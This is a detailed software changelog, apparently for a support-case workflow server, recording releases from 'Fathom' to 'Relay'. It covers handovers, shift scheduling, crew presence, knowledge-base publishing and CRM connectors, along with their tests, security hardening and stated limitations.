M1 (storage + pure core): new additive handover_offers table in every domain DB (schema → 1.28.27, guarded by the schema-contract test; indexed (run_id, state)). The pure core (src/workflow/relay.rs) holds the five packet-completeness predicates (packet_missing: open question? un-breached SLA? current step? linked evidence/checkpoint? escalation resolved?), the offer insert (idempotent by open-state key so a retried POST cannot double-offer), and the accept/decline decision (decline WITHOUT a reason refuses before any write). Offer/accept/decline are lineage events on the workflow/handover topic (parent-linked outbox rows, chain-verified) with their audit rows written in the SAME transaction as their state move.

M2 (the surfaces): POST /workflow/runs/{id}/handover/offer {to_principal, overlap_minutes?} runs the completeness gate BEFORE any write — 400 packet_incomplete carries details.missing and stores nothing. POST .../{offer_id}/accept performs the owner CAS-transfer inside the SAME WorkflowTx as the offer state move (either both land or neither does), replies {owner, resume_at_checkpoint}, and never mutates sla_deadline; deciding a decided offer replays {moved:false} instead of double-applying. POST .../{offer_id}/decline {reason} screens the reason through the read seam and bounds it at 4000 chars. GET /ops/handovers?domain=&now= is the follow-the-sun board: active runs ranked by SLA remaining (recorded deadline wins, else P3-from-created at run-open time), flagged while now sits inside the ring boundary’s derived overlap window — pure read-time arithmetic over Watchbill shifts, no scheduler daemon. Crew presence rides every mutating handover tx (best-effort, never gates the work).

M3 (wiring): routes registered with openapi.yaml (four paths, wire-exact bodies), docs/api.md, the route-coverage guard array, the route-authz guard table (+ handler source mapping: offer/accept/decline are Writes on the run’s domain with the workflow role gate; the board is a Read).

Release notes

Improvements

  • the one-click handover — offer/accept/decline over the I-PASS packet the Lineage release already builds, with the machine refusing incomplete packets and naming exactly what is missing.
  • ownership transfer by CAS in one transaction with the acceptance receipt; the SLA clock survives the handover by construction.
  • the handover-due board ranks active runs by SLA remaining and flags the overlap window at each ring boundary (Watchbill integration).

Security fixes

  • declines require a screened reason ≤ 4000 chars; every offer/decision is audited in its own transaction alongside the lineage event; retried offers are idempotent; self-handovers and unbounded principals refuse at the gate; addressee ids carrying control/invisible characters refuse (fail-closed identity); acceptance never resurrects a finished run; every emitted text field rides the read seam.

Engineering record

  • Tests: server main bin 864 / 6 ignored (+8: the plan-named pins offer_refuses_incomplete_packet_with_missing_list, accept_transfers_owner_without_sla_reset, handover_board_ranks_by_sla_remaining_at_boundary, offer_accept_decline_are_lineage_events_audited_once, plus the hardening pass pins board_skips_corrupt_state_loudly_never_silently, validate_to_principal_refuses_invisible_and_control_ids, ensure_run_active_refuses_finished_runs_offer_and_accept, decline_reason_validation_bounds_hold), lib 194 / 1; clippy -D warnings + fmt clean. Schema 1.28.26 → 1.28.27 (additive handover_offers). Live smoke on a DB COPY of the live DB: migration stamps 1.28.27, doctor clean, /audit/verify ok after the full flow — incomplete-packet refusal WITH missing list → packet completed → offer accepted → idempotent re-offer returns the same id → accept transfers owner (SLA byte-identical) + resume checkpoint → decline without reason refused → decline with reason stored + audited → board ranked soonest-first; second live smoke (hardening pass): zero-width addressee refused 400, accept on a completed run refused 409 with no resurrection, whitespace-only decline reason 400, corrupt-state board row skipped AND counted on the wire, chain verify ok. Hardening pass: the decline-with-empty-reason mis-map (404 via the storage backstop) now refuses 400 reason_required at the gate; acceptance reads the run’s CURRENT status and refuses finished runs (409 run_not_active) instead of silently resurrecting them to active (the CAS now carries the true status); to_principal fails closed on control/invisible characters (a stripped id could collide with a different real principal at accept time); the board skips a corrupt-state_json run LOUDLY — warn log plus corrupt_state_rows_skipped on the wire, never a silent P3-fallback distortion of the ranking; every emitted text field (resume checkpoint, echoed addressee, board owner labels) rides the read seam.

Honest ceilings

  • Packet completeness is read off the STORED shape (open_question, checkpoint, current_step keys + a workflow_steps row exists check) — a run can carry a complete-looking packet that is substantively empty; the gate enforces the protocol’s form, not its quality.
  • Acceptance does not verify the acceptor IS the addressed to_principal — any principal holding Write on the domain may accept on their behalf (a deliberate delegation posture; tightening to addressee-only would strand cross-shift accepts when tokens rotate).
  • The board caps at the newest 500 active runs and reads state_json per row (no index-served ranking); fine on loopback SQLite.
  • overlap_minutes on an offer is recorded but not yet enforced against the ring’s derived window (Watchbill supplies the window data; joining offer scheduling to it lands with Channel/Mesh).
  • Decline reasons ride the read seam at write time only; the roster-style invisible-strip re-applies if they ever surface on a read view (none ships this release).
  • No client/plugin surface yet — Relay is API-first; the Cockpit handover button is a later client release.

[1.28.26] — 2026-08-25 — “Crew”: colleagues become visible

Swarming and shared-queue models live or die on seeing the crew; until now the console showed cases and proposals, never people. Crew ships presence WITHOUT a background worker: presence piggybacks on authenticated activity, every upsert riding the caller’s existing transaction — no heartbeat, and a rolled-back transition leaves no ghost. Reads compute TTL decay at read time (active < 5 min, away < 30 min, offline beyond); the roster merges the Watchbill shift ring (site badge), role badges (the JWT claim snapshot taken at last act), and HITL-maintained skills tags.

M1 (presence): new additive tables in every domain DB (schema → 1.28.26, guarded by the schema-contract test): presence (one row per (domain, principal), UPSERT refreshes ts/kind/ref/roles), principal_skills, and crew_config. The write seam is [crew::touch] — called inside the reviewer’s own tx on every proposal decision (“reviewing”) and inside the WorkflowTx of run open/event/answer/steering (“cranking”, case ref run:{id}). Activity kinds are a closed vocabulary (cranking|reviewing|idle); unknown kinds refuse before any write.

M2 (roster + privacy ceiling): GET /ops/crew?domain=&now= (Read on the domain) serves the TTL-decayed roster — WHAT KIND of act plus an opaque current_case_ref, never case content; every emitted string passes the invisible-strip read seam (a planted zero-width/bidi principal id cannot smuggle a fence marker through the view), and an unknown stored activity kind degrades to idle. The DPO switch POST /ops/crew/config (Admin, audited) flips visibility per domain — fail-open to HIDDEN: an unreadable config row reads as disabled, never as more visibility than configured.

M3 (skills, HITL-gated): POST /ops/skills (Write) is the ONLY door toward tags and it never touches principal_skills directly — it creates one pending crew_skills_update proposal carrying {domain, principal, add[], remove[]} (the domain rides INSIDE the proposal so approval applies to exactly what was proposed). Approval runs the same validation again inside its IMMEDIATE transaction, CASes the proposal pending→approved, applies adds/removes idempotently (≤ 32 lowercase alnum-hyphen tags per principal), and audits workflow/crew/skills — replay refused, never double-applied.

M4 (DSAR coverage — lifts the Watchbill ceiling): the subject sweep now erases presence + skills rows by principal and REWRITES shift rosters to drop the subject (the shift survives — schedule evidence, not subject data); a corrupt roster cell fails the whole erasure rather than certifying a partial one. Counted honestly on the report as crew_rows.

Hardening passes: context7 doc verification against current rusqlite/axum guidance moved both new mutating handlers from raw BEGIN IMMEDIATE strings to RAII transaction_with_behavior(Immediate) — a panic mid-tx rolls back on drop instead of leaking an open transaction into the pool. Role snapshots are size-bounded at write (16 × 64 visible chars).

Release notes

Improvements

  • the crew roster — who is active/away/offline, on which site’s shift, working which kind of task, with which skills; deterministic read-time arithmetic over activity rows, no scheduler daemon.
  • skills-based routing prerequisite — colleague skill tags maintained exclusively through human review (agents cannot self-tag).

Security fixes

  • people-visibility is DPO-switchable per domain and fails to HIDDEN; roster output is invisible-character-stripped; skills changes are proposal-gated with in-tx CAS + audit; DSAR erasure now reaches presence, skills, and shift rosters (closing the roster gap left by the previous release).

Engineering record

  • Tests: server main bin 856 / 6 ignored (+7: the four plan-named pins presence_upserts_ride_existing_transactions_no_worker / presence_decays_by_ttl_at_read / roster_never_exposes_case_content / skills_changes_are_proposal_gated, plus cross-domain application, Watchbill site/skills join, and the DSAR crew sweep), lib 194 / 1; clippy -D warnings + fmt clean. Schema 1.28.25 → 1.28.26 (additive presence / principal_skills / crew_config). Live smoke on a DB copy: propose → digest-bound approve → tags land under the proposed domain → reviewer presence recorded by the approval itself → DPO-off hides everyone → DSAR purge scrubs all three people-tables → proposal replay refused → /audit/verify ok on every domain.

Honest ceilings

  • Presence reflects MUTATING authenticated acts only (workflow writes + review decisions); read-only surfaces do not bump it — an operator reading cases all day shows offline. Wiring reads would put a write on every GET; deliberately not done this release.
  • current_case_ref is an opaque reference (run:{id}); resolving it back to case content still requires Read on the run’s domain — but the roster alone does not re-authorize per-member, so a roster reader learns WHO works on run N without access to run N.
  • Roster assembly is O(members) queries for skills (capped 500); fine on loopback SQLite, batchable later.
  • DSAR dry-run footprint does not yet count crew rows (live purge does; the certificate understates the dry-run preview).
  • Legal holds do not freeze crew rows (holds protect knowledge chunks/runs; people-metadata erasure proceeds).
  • No retention/TTL for stale presence rows (they are one-per-principal upserts, so growth is bounded by principals, not by time); skills have no DELETE surface outside DSAR + explicit remove proposals.
  • Skills-proposal approvals audit under the global tenant label while tags land under the proposed domain (all crew tables live in the single default pool file).

[1.28.25] — 2026-08-24 — “Watchbill”: shifts and the sun

Follow-the-sun is a schedule problem before it is a handover problem: the envelope SLA (P1–P4, ttl) exists but nothing knew when Site Manila ends and Site Amsterdam begins. Watchbill makes “queue follows the sun, cases don’t” literal data — pure time-table arithmetic over stored shift rows, computed at read time; no scheduler daemon.

M1 (the ring): new shifts table in every domain DB (schema → 1.28.25, additive + rollback-safe, guarded by the schema-contract test): one row per site’s on-call window (site, tz, start/end epoch, overlap_minutes, roster_json), indexed (domain, start_epoch). The pure core (src/workflow/shifts.rs) derives everything at read: [overlap_window] computes each boundary’s handover window from its shift pair (the incoming shift’s first minutes up to the outgoing shift’s end), and ring_view answers for any instant — which site owns the queue (queue_scope_site re-scopes to the INCOMING site at the START of the derived overlap window, not at the hard boundary), whether an overlap window is running, and when the next boundary lands. Open runs are never consulted or mutated — the plan-named pin ring_boundary_rescopes_queue_not_cases proves a run row survives byte-identical across a boundary.

M2 (the surfaces): GET /ops/shifts?domain=&now= (Read on the domain) serves the ring view plus the newest 500 shifts; POST /ops/shifts (Admin — declaring shifts is pure operator configuration; an agent-class principal must not re-anchor the follow-the-sun queue) stores one window with validation, insert, and the audit row riding ONE BEGIN IMMEDIATE transaction — a refused shift writes nothing. Refusals are loud and specific: 400 shift_window_invalid / shift_overlap_invalid (overlap capped at 120 minutes) / tz_invalid / roster_invalid (≤ 64 ids × ≤ 256 chars — row-size bounds), 409 shift_double_booked when a candidate starts before the earlier shift’s final overlap period. Wired into openapi.yaml (GET+POST + Shift schema), docs/api.md, the route-coverage guard array, the route-authz guard table (+ handler source mapping).

M3 (hardening passes 2–3): the live smoke on a DB copy exposed the first double-booking rule as anchor-wrong — a shift starting mid-way through another was accepted as “declared overlap” because the budget anchored at the INCOMING start; the rule now anchors at the earlier shift’s END (an overlapping pair may share only e.end − e.overlap onward, exactly where overlap_window derives the read-time boundary). Read cap added per the v1.20.18 “Bound” law (newest 500); input caps on tz/roster close the storage-amplification lever; POST gate tightened Write → Admin.

Release notes

Improvements

  • the shift ring — declare site on-call windows with declared overlap budgets and get, for any instant, which site owns the queue; the queue re-scopes to the incoming site during the overlap window while open cases keep their envelopes untouched.
  • deterministic read-time arithmetic over stored rows — no scheduler daemon, no background worker.

Security fixes

  • none new; all surfaces are gated (Read / Admin), every mutation audited in-tx, reads bounded, inputs size-capped, and the double-booking validator refuses windows that don’t respect the declared overlap budget.

Engineering record

  • Tests: server main bin 849 / 6 ignored (+4: the three plan-named pins overlap_window_derives_from_shift_pair / shift_table_validates_no_double_booking / ring_boundary_rescopes_queue_not_cases + storage round-trip), lib 194 / 1; clippy -D warnings + fmt clean; lipstyk diff-strict clean. Schema 1.28.23 → 1.28.25 (additive shifts table + index). Live smoke on a DB copy: mid-shift refusal 409, final-hour accept, queue re-scope across the boundary, bad-window 400 — all green; brain doctor integrity ok.

Honest ceilings

  • The ring view is advisory scheduling DATA — nothing yet enforces follow-the-sun routing (Relay .27 schedules handovers into the overlap windows; the enforcement wiring is its scope).
  • roster holds principal ids = personal data; the DSAR erasure sweep does NOT cover the shifts table yet (no subject-erasure path for rosters — flag for Crew .26, which owns people-visibility).
  • Shift rows have no retention/TTL; stale sites accumulate until an operator deletes them (no DELETE surface this release — SQL-only).
  • Refused inserts write no Denied audit row (nothing commits); consistent with the KCS conflict path, but contention evidence is thinner than the CAS-denial precedent.
  • The 500-shift read cap means a ring whose active shift falls outside the newest-500 window degrades to “no scope” rather than erroring — irrelevant at realistic roster sizes.
  • previous_shift pairs by nearest earlier start regardless of adjacency; gapped rings produce no overlap window unless windows actually share time.

[1.28.24] — 2026-08-24 — “Beacon”: knowledge goes public, demand drops

The demand-reduction half of KCS: approved articles become a publicly published KB as a generated static artifact an operator hosts — brain-server stays loopback/local-first; publishing is a human decision with its own verb, and a mistake’s blast radius is an artifact rebuild, never a live data path.

M1 (brain kb build): new CLI subcommand emits a deterministic static site from kcs_state='published' articles in a domain: per-slug article pages (title + the four KCS sections + updated date/revision/provenance/canonical), index, client-side-only JSON search index, sitemap.xml, robots.txt, 404 — CSP default-src 'none'; style-src 'unsafe-inline' at the artifact level, no JS beyond the static index reader, no external assets. Every field passes the strict public seam (kb::sanitize_public: unconditional PII redact → invisible strip → markdown-ref strip — no principal argument, no operator bypass), pinned by pii_never_reaches_public_html. Superseded slugs emit redirect pages to their survivor by reusing the existing supersedes evidence chain (superseded_slug_redirects_to_survivor). Same DB state ⇒ byte-identical output (kb_build_is_deterministic_byte_for_byte); a content-addressed SHA-256 kb_manifest.json lets the operator verify what they host (kb_manifest_digests_match_files). New lib modules kb.rs + pii_mask.rs — the mask primitives moved verbatim from gate.rs so the read gate, the write screen, and the public seam share ONE definition (redact_unconditional). Signing stays the shipped convention: sign the artifact tarball with scripts/release-sign.sh (documented in the command output).

M2 (the publish gate): proposal kind kcs_publish {knowledge_id, public_slug, action} created via POST /kcs/articles/{id}/publish (Write proposes; the capability is enforced at APPROVAL where it belongs). Approval requires approve AND the NEW distinct publish capability — a reviewer who may approve internal drafts is not thereby allowed to push content public (publish_requires_publish_capability_and_audits; existing roles unchanged — operators grant publish through the roles table). In-tx CAS: approved→published + slug assigned (uniqueness via the v1.28.23 partial unique index → 409 public_slug_taken) + freshness stamped COALESCE-style; audited workflow/kcs/publish. action=retract returns published→approved; the next build drops the page (retract_returns_to_approved_and_next_build_drops_page). GET /kcs/articles/{id}/preview renders the EXACT public page through the same function the build uses under the same strict seam — what you approve is byte-identical to what ships (gui_publish_node_previews_sanitized_public_page).

M3 (feedback flywheel): POST /webhooks/kb-feedback is ALWAYS Standard-Webhooks HMAC-verified (secret via 0600-checked BRAIN_KB_FEEDBACK_SECRET_FILE, fail-closed; replay-window + seen-claim dedup) and converts each verified delivery into ONE anonymous kb_feedback finding row — {slug, helpful, day_bucket, anonymous_id} validated, no raw IP anywhere by construction (kb_feedback_webhook_requires_hmac_and_rejects_replay, feedback_rows_store_no_raw_ip). Scoreboard grows self_service_deflection_units + kb_feedback_total + kb_hot_topics (published slugs whose feedback repeats ≥ KB_HOT_TOPIC_THRESHOLD=3 — “article stale/missing” made visible; deflection_and_hot_topic_roll_up_to_scoreboard). Alerts ride existing kinds: a freshness watcher fires expiry once per past-due published article, and crossing the hot-topic threshold fires workflow.

M4 (metrics honesty): docs/kb-deflection.md — on-page deflection is INDICATIVE, repeat-contact rate (CRM/Bridges) stays the primary demand metric; both land on the weekly report + monthly human sign-off; no industry-lift claims anywhere.

Release notes

Improvements

  • brain kb build --domain <d> --out <dir> turns solved-case knowledge into a hostable static KB — deterministic bytes, SHA-256 manifest, superseded-slug redirects.
  • two-gate publishing (approve → publish) with preview: reviewers see exactly the sanitized page that will ship; retract-and-rebuild is the documented operational rollback.
  • the scoreboard gains self-service-deflection and hot-topic signals from an anonymous, PII-free on-page feedback webhook; stale-published-article alerts fire on the existing expiry kind.

Security fixes

  • none new (all surfaces are role/HMAC-gated and fail closed); the strict public sanitize seam is stricter than the internal read gate by design.

Engineering record

  • Tests: server main bin 845 / 6 ignored (+7: five plan-named pins + slug-vocabulary + artifact-write pins in kb/pii_mask), lib 201 / 1 (+10: 8 kb + 2 pii_mask), brain CLI, mcp, bench unchanged counts pending CI; clippy -D warnings + fmt clean. No schema change (schema stays 1.28.23 — publish rides the pre-scaffolded columns).

Honest ceilings

  • The public site has no JS framework/analytics by design; search is one static JSON index read client-side.
  • Artifact signing delegates to the operator (scripts/release-sign.sh over the tarball) — no minisign integration inside brain kb build.
  • revision renders the article content_hash, not a CRM envelope law-version stamp (the envelope isn’t persisted per-article).
  • Deflection is vote-based and indicative; hot topics count feedback volume only, not CRM repeater clustering (that join lands when Bridges exports per-contact linkage).
  • Public CDN caches after retract are the operator’s concern (documented).
  • The client console does not yet render a dedicated publish node; the preview endpoint is the render contract a Cockpit node consumes (server-side pin ships here).

[1.28.23] — 2026-08-24 — “Evolve”: the KCS loop closes — every solved case becomes knowledge, every case is linked to living knowledge

The KCS v6 double loop, wired to the substrate that already implements most of it. Solve-loop capture/structure/reuse/improve happen in the workflow; Evolve-loop content health and performance assessment land on the scoreboard. Closing a case without an article becomes visible, never silent.

M1 (schema → 1.28.23, one-way additive): knowledge grows kcs_state (none | draft | approved | published; existing rows stay none — KCS applies going forward), public_slug (unique WHEN published via a partial index; publishing itself is Beacon’s, later), and freshness_review_due. New case_articles(case_ref, knowledge_id, sir, action, ts) — the solve-loop linkage; searched_not_found rows carry NULL knowledge_id, so the (case_ref, knowledge_id, sir) uniqueness is partial.

M2 (Solve loop): the reuse search records SIR rows — searched_found for hits the engine cites back via GET /workflow/runs/{id}/suggestions?used=<ids>, searched_not_found when the zero-hit abstention fires. A completed run that contradicted what it used (diverged steps or skipped verification) emits a kcs_flag finding per cited article — content-health input, never an edit (edits stay HITL). On the first crm/case/closed event the deterministic capture generator runs exactly once (outbox marker kcs-capture-{case_ref}): inputs are the run’s recorded steps/findings/SIR rows, output ONE structured HITL proposal — kcs_new_article (body assembled from Issue/Environment/Cause/Resolution/Evidence, zero-token), kcs_update_article (the improve signal outranks similarity: a diverged reuse means the article needs fixing), or kcs_link_only. Approving promotes to a knowledge row born kcs_state='draft' (or writes only the linkage for link-only); a closed case with zero linkage emits a kcs_unlinked_case finding — operations see the gap, the machine never vetoes closure.

M3 (lifecycle): POST /kcs/articles/{id}/approve (Write on the domain + approve role) moves draft → approved and stamps the 90-day freshness deadline; GET /kcs/articles?state=&stale=1 is the content-health worklist (past-deadline articles + open improve flags). Superseding an article now follows the linkage: its case_articles rows point at the survivor in the same tx.

M4 (performance assessment): the scoreboard carries kcs_linkage_rate_units, searched_found_rate_units, and article_freshness_median_age_secs (repeat_contact_rate_units was already aggregated). The weekly calibration report rides the same numbers; the monthly human sign-off covers them unchanged.

Release notes

Improvements

  • solved support cases can now become searchable knowledge — the capture generator drafts a structured article proposal (Issue / Environment / Cause / Resolution / Evidence) from the case’s own recorded evidence; a human approves it through the existing review queue.
  • new content-health worklist (GET /kcs/articles?stale=1) surfaces articles needing review — stale freshness deadlines plus flags from runs whose evidence contradicted them.
  • the scoreboard gains three KCS measures (linkage rate, reuse rate, freshness median age); the weekly report carries them.

Security fixes

  • none (no auth/gate changes; both new routes are role-gated and audited).

Security fixes (deep hardening pass over v1.28.15–v1.28.22)

  • HIGH — mediated exec no longer leaks the server’s environment. Engine-spawned processes now run with a minimal env (env_clear + PATH/HOME/TMPDIR); the audit-chain key, bearer tokens, and JWT material can never be exfiltrated by an allowlisted program that prints its environment (exec_child_gets_minimal_environment_not_the_servers).
  • MCP streamable-HTTP transport hardened from all angles: non-loopback binds without MCP_HTTP_TOKEN now REFUSE to boot (fail-closed — the unauthenticated LAN tool surface is gone); per-peer rate limiting (240 req/min, bounded key map, poison-tolerant lock) sits BEFORE token work; browser-attested Origin headers must be loopback (DNS-rebinding posture, IPv6-literal safe); request bodies are capped DURING the read (DefaultBodyLimit + to_bytes bound → 413), never buffered-then-checked; GET/DELETE probes get 401 for unauthenticated callers (no configuration-distinguishing surface); bearer comparison is constant-time; upstream error bodies are logged to stderr and genericized before reaching any LLM context.
  • MCP stdio: the line cap finally caps. The old read_line guard fired only after buffering the whole line; reads are now chunked and stop at MAX_LINE_BYTES — a multi-GB newline-free stream produces bounded -32700 refusals, not an OOM.
  • Rewind role gate judges the right store: the approve capability is now checked against the RUN’S DOMAIN pool, not the global one; CAS conflicts surface as 409 cas_stale instead of a 500.
  • Handoff packet read-seam parity: intent, is_seed, is_not_seed, and pending_question pass sanitize_read like every other emitted stored-text field (user input lands in run state legitimately via steering/rewind/CRM).
  • SSE replay amplification bounded: Last-Event-ID backfill is capped globally (1,000 events across all domains); the workflow-payload shared-broadcast posture (sanitize-once, machine-data, PII enforced at write time) is documented where it lives.
  • CRM connector lows closed: Genesys pagination is page-capped (50/run, resumes next tick) so a hostile endpoint cannot spin the connector; vendor contact ids are percent-encoded before URL-path use; Salesforce SOQL interpolates only persisted modstamps that pass a strict ISO-8601 shape check.

Engineering record

  • Tests: server main bin 838 / 6 ignored (+25: the eight plan-named pins — two in the SDK pure core, six server-side — plus guard/coverage updates), lib 182 / 1 (unchanged), brain 19, mcp 32 (+2), eval 4, metrics 8; sdk 108 / 0 (+3); steward-harness 17 / 0 (unchanged); client 228 / 0 (unchanged count; +1 Evolve render pin inside existing suites). clippy -D warnings + fmt clean on ALL FOUR workspace nodes; otel gate 1110 passed; UMP conformance L3 green; recall floor r@5 0.976 / r@10 0.991 / mrr 0.956 (CI recipe, scratch instance).- Named pins: closed_case_generates_kcs_proposal_with_four_sections, gap_rule_selects_new_update_or_link_only, human_approval_moves_draft_state_and_sets_freshness, unlinked_closed_case_is_flagged_not_blocked, sir_rows_record_found_and_not_found, improve_flag_emitted_on_cited_article_contradiction, superseded_article_linkage_follows_survivor, scoreboard_carries_kcs_fields_and_calibration_signs_them.
  • New modules: crates/brain-engine-sdk/src/pure/kcs.rs (pure decision core), src/workflow/kcs.rs (substrate writes), src/handlers/kcs.rs (routes).
  • openapi.yaml + route-coverage + route-authz guard tables + docs/api.md updated in the same change.
  • Honest ceilings: per-hit citation tracking depends on engines sending used=<ids> (absent = no found-SIR rows recorded, not_found still lands); capture runs on the first crm/case/closed event delivery, not on engine-run Done directly (a closed case without a CRM binding captures nothing); pre-Evolve knowledge rows keep kcs_state='none' (no backfill); publishing is out (Beacon’s); freshness horizon is a constant 90 days (per-domain policy lookup later); proposals carry fixed novelty/salience placeholders (the scorer’s inputs do not apply to structured bodies); the KCS measures read the global register only (multi-domain aggregation later).

[1.28.22] — 2026-08-24 — “Bridges”: the universal loop’s intake — support cases flow in from the CRMs

One normalized case shape ([CrmCase], src/connector/crm/), three vendor connectors (Zendesk cursor incremental export, Salesforce client-credentials OAuth + SOQL by SystemModstamp, Genesys Cloud workitems + externalcontacts), and one delivery path: case bodies enter through the UMP /ingest single-record route — under BRAIN_WRITE_POSTURE=review they land as pending proposals, never memory (the HITL gate applies to CRM content exactly as to web content); case envelopes open governed runs (POST /workflow/runs, kind support-case, state carries the stable case_ref) and post crm/case/updated / crm/case/closed outbox events — closed-solved is the Evolve capture trigger (v1.28.23). The crm_cases linkage table (schema → 1.28.22, additive) binds each case_ref to its run idempotently — the invariant Evolve depends on.

Security posture (mirrors the GitHub connector): all URLs built from config-derived hosts only, enforced by a transport-level host allowlist (no_crm_url_from_memory_content); Salesforce nextRecordsUrl reduced to an instance-relative path (a forged next-page cannot move the bearer); redirects refused; 5s/15s bounded timeouts; response bodies capped BEFORE buffering; secrets in 0600 files via the shared mode-check, fail-closed (connector_secrets_refuse_wide_modes); customer identity stored only as salted SHA-256 subject_ref; token refresh fail-closed (salesforce_modstamp_sync_refreshes_token_fail_closed). Vendor sync loops are pure functions over a VendorTransport trait — mock-transport tested with zero network in the DEFAULT build; only the reqwest adapter (connector/crm/http.rs) and brain-connector-crm are feature-gated (connector-crm). Operator-cranked via cron (300s cadence floor, zendesk_cursor_sync_is_idempotent_and_respects_cadence); the supervisor stays unwired. Structured symptom fields ride as is_seed/is_not_seed straight into the frontdoor Handoff contract. Custom CRMs (Freshdesk/ServiceNow/JSM): docs + pure-mapping recipe only — deliberately NO generic JSONPath runtime (docs/connector-crm-custom.md). No new server routes, no openapi change, zero new dependencies.

Release notes

  • New: support cases flow in from your CRM. One binary (brain-connector-crm) pulls Zendesk tickets, Salesforce Cases, and Genesys Cloud workitems into the universal loop — each case opens one governed run and every update lands as a crm/case/updated or crm/case/closed event.
  • Human review by default: under BRAIN_WRITE_POSTURE=review, case content enters as proposals for operator approval — it never writes memory directly.
  • Privacy unchanged: customer identities are stored only as salted SHA-256 subject refs; no CRM writeback; no background syncing (cron-cranked).
  • Custom CRMs (Freshdesk, ServiceNow, JSM): configuration recipe in docs/connector-crm-custom.md.

Engineering record

  • Tests: named pins shipped — zendesk_cursor_sync_is_idempotent_and_respects_cadence, salesforce_modstamp_sync_refreshes_token_fail_closed, genesys_workitem_maps_to_case_with_external_contact, case_body_routes_to_proposal_under_review_posture (integration), closed_solved_event_opens_capture, crm_cases_upsert_is_idempotent_by_case_ref, connector_secrets_refuse_wide_modes, no_crm_url_from_memory_content.
  • Server main bin 830 / 6 ignored (+17), lib 182 / 1 (+16), mcp 19, brain 18→19, bench 8, eval 4, metrics 8; client 228 / 0; clippy -D warnings
    • fmt clean on server (default/bench/connector-crm) + sdk + client; live smoke on a COPY of the real DB green (VACUUM INTO copy → migration stamped 1.28.22 → brain doctor ✓ @ 1.28.22 → /audit/verify ok:true → support-case run opened + crm/case/closed event accepted end-to-end on the wire).

Honest ceilings

  • Delivery rides the UMP /ingest path rather than /ingest/markdown: the plan assumed markdown ingest honors the review posture — it does not (vault semantics), and adding the gate there would change existing behavior outside this release’s scope. The UMP single-record path already proposes under review posture, so the guarantee holds where it matters.
  • Genesys sync walks workitems per invocation without persisting a resume cursor (delivery is idempotent, so re-walks dedupe server-side); Zendesk persists its opaque after_cursor, Salesforce its newest SystemModstamp.
  • No CRM writeback (posting resolutions back is later + separately gated); no background supervisor sync (cron only); custom-CRM support is docs + pure mappers, not a runtime field-mapping engine; PII stays behind hashed subject refs.
  • Client/sdk/harness version stamps aligned at 1.28.22 for consistency; none of their code changed (one pre-existing client clippy lint folded in).

[1.28.21] — 2026-08-24 — “Fathom”: virtual unlimited context — unbounded session, deterministic windowing

A case lives in ONE run from intake to close — no new sessions, ever — and every consumer derives the smallest high-signal window from it on demand. Checkpoints move to a deterministic cadence (replayable windows), a pure context-window derivation ships in the SDK behind one Read-gated route, the transcript scrolls forever via keyset windowing (no virtual-scroll dependency), and the event stream resumes after a disconnect with Last-Event-ID + ?since= backfill. Server + client + sdk + harness versions align at 1.28.21; schema unchanged; zero new dependencies.

Release notes

Improvements

  • The derived context window: GET /workflow/runs/{id}/context?at_event=&budget= returns latest checkpoint at-or-before the anchor + delta events after it + per-finding digests + the open question. Field-budgeted (budget, default 2000, cap 100000) with truncation dropping OLDEST-delta-first and never dropping the checkpoint or question, flagged truncated. Prefix-stable by construction: appending events never changes an earlier window (pinned). One counted field ≈ one token — documented approximation, not guessed.
  • Deterministic checkpoint cadence in the engine: workflow/checkpoint fires on every AskHuman pause, every phase transition (Advance), every N events (BRAIN_CHECKPOINT_EVERY, default 25, ceiling 100 — resolver clamps both degenerates), and once during finalize so a completed run ends ON a checkpoint. Replaces the old every-step emission; idempotency keys derive from persisted facts so replays stay exactly-once.
  • The transcript scrolls forever: the run panel renders a bounded keyset slice of the assembler’s ordered nodes (live tail + pulled-up earlier ranges, pure Vec slicing — no new dependency); “Load earlier” extends the window; a ten-thousand-node run never renders ten thousand nodes.
  • Session-age badge on the composer (N events · M checkpoints · oldest #id) instead of any “new session” affordance — there is none anywhere in the GUI, and a source-scan test keeps it that way.
  • Stream resume: SSE consumers send Last-Event-ID (the workflow outbox id) on reconnect; the server replays stored rows past it (bounded to one drain batch per pass, same envelope shape, same read seam, fail-closed per-domain Read gate) before going live; GET /workflow/runs/{id}/events?since= backfills older gaps; client dedup admits the gap and drops replays (pinned).
  • Continuity contract documented for consumers (docs/memory-lifecycle.md §The continuity contract + plugin README): sessions are unbounded; LLM-side compaction is the CONSUMER’s contract using the derivation API — brain-server never summarizes (zero-token rule); rewind replaces rotation.
  • wasm-split enabled (operator-requested deviation from the plan’s non-goals): dx build --platform web --release --wasm-split is green. .cargo/config.toml swaps -C strip=symbols → strip=debuginfo + -C link-arg=--emit-relocs (the splitter needs relocations + function names; DWARF-only stripping); bundle-budget.sh measures the SHIPPED posture (custom sections stripped via a pure section-frame walk) since the raw artifact legitimately carries splitter metadata. No #[wasm_split] boundaries annotated yet — see ceilings.

Security fixes

  • None (additive release; all gates reused — the context route is Read-gated on the run’s domain with row-domain re-auth, and every emitted payload rides the existing sanitize_read seam).

Engineering record

  • M1 (cadence): resolve_checkpoint_every(Option<u32>) (default 25, clamp 1..=100) beside resolve_budget; the crank tracks events_since_ckpt and fires through ONE checkpoint seam (bounded by the existing ≤256 KiB guard — oversized states still error loudly, never truncate). Keys: run-{id}-ckpt-ask-{ordinal} / -adv-{rev} / -n-{ordinal} / -ckpt-end — persisted facts only, so crash-replay dedups. Pinned by checkpoints_fire_on_askhuman_phase_and_event_count + checkpoint_cadence_is_env_tunable_with_ceiling; predecessor pins (checkpoint_payload_round_trips_state_exactly, rewind branch/replay-idempotence) pass UNCHANGED.
  • M2 (derivation): SDK workflow_state::derive_context_at(events, at_event, budget) + convenience derive_context — pure, clock-free, panic-free on malformed payloads (degrades to empty notes); findings digests are FNV-1a 64 (stable, dependency-free, explicitly NOT a security primitive); field counting = scalar 1 / array Σ / object 1+Σ. Route in handlers/workflow_lineage.rs: derivation runs on RAW payloads (it needs parseable JSON), sanitization applies to every EMITTED field — the read seam covers output, not input. Wired into router + route-coverage + route-authz guard tables + openapi.yaml (full response schema) + docs/api.md. Pinned by four SDK tests (window_is_latest_checkpoint_plus_delta_plus_notes, truncation_drops_oldest_delta_first_and_flags, appending_events_never_changes_earlier_windows, window_at_askhuman_includes_open_question) + the integration pin context_route_derives_checkpoint_delta_and_budget.
